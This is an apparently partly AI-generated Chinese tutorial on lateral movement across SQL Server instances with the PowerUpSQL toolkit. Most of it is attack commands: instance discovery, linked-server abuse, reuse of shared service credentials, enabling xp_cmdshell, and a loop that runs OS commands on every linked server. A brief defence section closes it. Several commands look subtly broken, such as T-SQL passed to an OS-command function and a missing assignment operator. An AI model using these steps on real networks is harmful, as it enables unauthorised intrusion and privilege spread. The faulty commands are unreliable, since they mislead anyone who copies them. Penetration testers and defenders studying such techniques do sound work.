PowerUpSQL实战教程:如何利用SQL Server进行横向移动

张开发
2026/4/8 4:02:44 15 分钟阅读

分享文章

PowerUpSQL实战教程:如何利用SQL Server进行横向移动
PowerUpSQL实战教程如何利用SQL Server进行横向移动【免费下载链接】PowerUpSQLPowerUpSQL: A PowerShell Toolkit for Attacking SQL Server项目地址: https://gitcode.com/gh_mirrors/po/PowerUpSQLPowerUpSQL是一款功能强大的PowerShell工具包专门用于攻击和渗透测试SQL Server数据库。在本文中我们将深入探讨如何利用PowerUpSQL实现SQL Server横向移动这是一种在企业环境中扩展权限和访问范围的关键技术。横向移动允许攻击者从一个受感染的SQL Server实例移动到网络中的其他SQL Server实例从而扩大攻击面并获取更多敏感数据。什么是SQL Server横向移动SQL Server横向移动是指攻击者利用已获得的SQL Server访问权限通过网络中的SQL Server实例之间的信任关系从一个SQL Server实例移动到另一个实例的技术。这种技术在企业环境中特别有效因为SQL Server通常配置有链接服务器、共享服务账户或其他信任关系。PowerUpSQL安装与配置首先你需要克隆PowerUpSQL仓库到本地git clone https://gitcode.com/gh_mirrors/po/PowerUpSQL cd PowerUpSQL然后导入PowerUpSQL模块Import-Module .\PowerUpSQL.ps1发现网络中的SQL Server实例在进行横向移动之前你需要发现目标网络中的SQL Server实例。PowerUpSQL提供了多种发现方法# 发现域中的SQL Server实例 Get-SQLInstanceDomain # 发现本地网络中的SQL Server实例 Get-SQLInstanceLocal # 使用UDP广播发现SQL Server实例 Get-SQLInstanceBroadcast利用链接服务器进行横向移动链接服务器是SQL Server横向移动中最常见的技术之一。PowerUpSQL提供了多种函数来利用链接服务器1. 枚举现有链接服务器首先检查目标SQL Server实例上配置的链接服务器Get-SQLServerLink -Instance SQLServer1\Instance1这个命令会列出所有配置的链接服务器包括它们的名称、提供程序、数据源和安全配置。2. 通过链接服务器执行查询一旦发现链接服务器你可以使用OPENQUERY函数通过链接服务器执行查询-- 查询远程服务器的信息 SELECT * FROM OPENQUERY(LinkedServerName, SELECT VERSION)PowerUpSQL提供了模板文件来帮助你快速执行这些查询例如在templates/tsql/Lateral-Movement-Existing-Links.sql中包含了多种通过链接服务器执行查询的示例。3. 创建新的链接服务器如果目标SQL Server实例没有配置链接服务器但你有足够的权限可以创建新的链接服务器# 创建链接服务器到目标SQL Server New-SQLServerLink -Instance SQLServer1 -LinkServer SQLServer2 -LinkUsername sa -LinkPassword Password123!使用共享服务账户进行横向移动当多个SQL Server实例使用相同的服务账户运行时你可以利用这种配置进行横向移动1. 识别共享服务账户# 检查SQL Server服务账户 Get-SQLServiceAccount -Instance SQLServer1 # 在域中查找使用相同服务账户的SQL Server实例 Get-SQLInstanceDomain | Where-Object {$_.ServiceAccount -eq DOMAIN\SQLService}2. 利用共享凭据进行认证如果发现多个SQL Server实例使用相同的服务账户你可以使用这些凭据进行横向移动# 使用共享服务账户凭据连接到其他SQL Server实例 Invoke-SQLOSCmd -Instance SQLServer2 -Username DOMAIN\SQLService -Password ServicePassword -Command whoami执行操作系统命令进行横向移动PowerUpSQL提供了多种在SQL Server上执行操作系统命令的方法这些方法可以用于横向移动1. 使用xp_cmdshell# 启用xp_cmdshell Invoke-SQLOSCmd -Instance SQLServer1 -Command EXEC sp_configure xp_cmdshell, 1; RECONFIGURE # 通过xp_cmdshell执行命令 Invoke-SQLOSCmd -Instance SQLServer1 -Command EXEC xp_cmdshell whoami2. 通过链接服务器执行命令你可以通过链接服务器在远程SQL Server上执行命令# 通过链接服务器在远程SQL Server上执行命令 Invoke-SQLOSCmd -Instance SQLServer1 -LinkServer SQLServer2 -Command whoami自动化横向移动攻击链PowerUpSQL允许你自动化整个横向移动攻击链1. 发现和枚举阶段# 自动发现域中的所有SQL Server实例并检查链接服务器 Get-SQLInstanceDomain | Get-SQLServerLink | Export-Csv -Path LinkedServers.csv2. 权限提升阶段# 检查每个SQL Server实例的配置弱点 Get-SQLInstanceDomain | Invoke-SQLAudit -CheckAll3. 横向移动阶段# 尝试通过每个发现的链接服务器进行横向移动 $servers Get-SQLInstanceDomain foreach ($server in $servers) { $links Get-SQLServerLink -Instance $server foreach ($link in $links) { # 尝试通过链接服务器执行命令 Invoke-SQLOSCmd -Instance $server -LinkServer $link.Name -Command whoami } }防御措施和安全建议虽然本文主要关注攻击技术但了解防御措施同样重要最小权限原则确保SQL Server服务账户仅具有必要的权限禁用不必要的功能如xp_cmdshell、OLE自动化等监控链接服务器活动定期审计链接服务器的使用情况使用专用服务账户避免在多个SQL Server实例间共享服务账户定期安全评估使用PowerUpSQL等工具进行定期安全评估总结PowerUpSQL是一个强大的工具可以帮助安全专业人员和渗透测试人员评估SQL Server环境的安全性。通过理解SQL Server横向移动技术你可以更好地保护你的数据库环境免受攻击。记住这些技术应该仅用于授权的安全评估和渗透测试。PowerUpSQL的模板文件如templates/tsql/Lateral-Movement-Existing-Links.sql和templates/tsql/Lateral-Movement-Shared-Svc-Account-XpCmdShell.tsql提供了实用的横向移动技术示例可以帮助你更好地理解和应用这些技术。通过掌握这些技术你可以更有效地评估SQL Server环境的安全性并采取适当的防御措施来保护你的数据库资产。【免费下载链接】PowerUpSQLPowerUpSQL: A PowerShell Toolkit for Attacking SQL Server项目地址: https://gitcode.com/gh_mirrors/po/PowerUpSQL创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

更多文章